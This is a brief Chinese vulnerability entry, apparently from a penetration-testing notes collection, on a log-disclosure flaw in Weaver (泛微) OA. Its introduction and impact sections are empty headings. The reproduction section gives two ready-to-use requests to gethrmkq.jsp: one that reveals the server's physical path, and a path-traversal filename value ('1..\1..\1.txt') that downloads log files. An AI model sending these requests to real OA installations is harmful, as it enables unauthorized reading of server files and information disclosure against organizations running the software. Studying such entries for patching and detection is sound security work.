泛微oa 日志泄露 =============== 一、漏洞简介 ------------ 二、漏洞影响 ------------ 三、复现过程 ------------ 读取物理路径 hrm/kq/gethrmkq.jsp?filename=1 日志下载 hrm/kq/gethrmkq.jsp?filename=1..\1..\1.txt